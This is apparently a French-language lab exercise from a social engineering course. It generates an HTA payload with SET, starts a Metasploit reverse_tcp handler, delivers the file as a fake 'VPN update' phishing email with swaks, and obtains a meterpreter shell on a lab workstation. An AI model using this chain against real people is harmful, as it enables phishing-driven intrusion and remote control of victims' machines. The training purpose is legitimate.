Payload HTA

#

TP du module Social Engineering : générer une pièce jointe HTA (HTML Application) avec SET, coupler un listener Metasploit, et obtenir un shell sur WS01 lorsque la victime ouvre le fichier.

Prérequis : lab et SMTP mail opérationnels — voir Get Started et Spear Phishing.

Important : le fichier HTA exécute du code sur la machine victime. Restaurer le snapshot WS01 après le TP.

1. Rappel — pourquoi le vecteur HTA ?

#

Les applets Java et exploits navigateur automatiques sont obsolètes ; le HTA reste un vecteur pédagogique pertinent pour illustrer « l’utilisateur a ouvert la pièce jointe ».

2. Préparer le listener Metasploit

#

Terminal 1 — sur Kali :

msfconsole -q

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.10
set LPORT 4444
set ExitOnSession false
run -j

Vérifier que le job écoute :

jobs

3. Générer le payload HTA avec SET

#

Terminal 2 — sur Kali :

sudo setoolkit

1) Social-Engineering Attacks
2) Website Attack Vectors
7) HTA Attack Method

(Le numéro du menu HTA peut varier selon la version SET — chercher « HTA » dans la liste.)

SET place le fichier dans son répertoire de sortie (souvent /root/.set/ ou chemin affiché à l’écran).

sudo ls -la /root/.set/
sudo cp /root/.set/VPN_Update.hta /tmp/VPN_Update.hta
sudo chmod 644 /tmp/VPN_Update.hta

Servir le fichier pour téléchargement ou pièce jointe :

cd /tmp && python3 -m http.server 8888

4. Livrer le HTA à la victime

#

Option A — Pièce jointe email (spear phishing)

#

Avec swaks et Mailpit :

swaks --to user1@labcorp.local \
  --from it-support@labcorp.local \
  --server 192.168.56.10 --port 1025 \
  --header "Subject: Mise à jour VPN — action requise" \
  --body "Veuillez exécuter la mise à jour jointe sur votre poste." \
  --attach /tmp/VPN_Update.hta

Option B — Téléchargement manuel (TP simplifié)

#

Sur WS01, ouvrir Edge et télécharger :

http://192.168.56.10:8888/VPN_Update.hta

5. Exécution côté victime

#

1. Sur WS01, ouvrir le fichier VPN_Update.hta (double-clic — comportement victime simulé)
2. Une invite ou une fenêtre peut s’afficher brièvement
3. Sur Kali, vérifier la session Metasploit :

sessions -l
sessions -i 1

Dans le meterpreter :

getuid
sysinfo

Preuve de succès :

Server username: WS01\user1
OS              : Windows 10/11 ...

6. Dépannage

#

7. Grille de TP

#

8. Suite de la démarche

#

Phase actuelle : Payload HTA — exécution de code via pièce jointe.

[✓] Mise en place  →  [✓] Harvester  →  [✓] Spear Phishing  →  [✓] HTA  →  [●] QR  →  [ ] Rapport

Étape suivante : QR Code / Smishing — même harvester ou payload, livré via un QR code.

Références :

• MITRE T1218.005 — Mshta
• Metasploit Unleashed — Handlers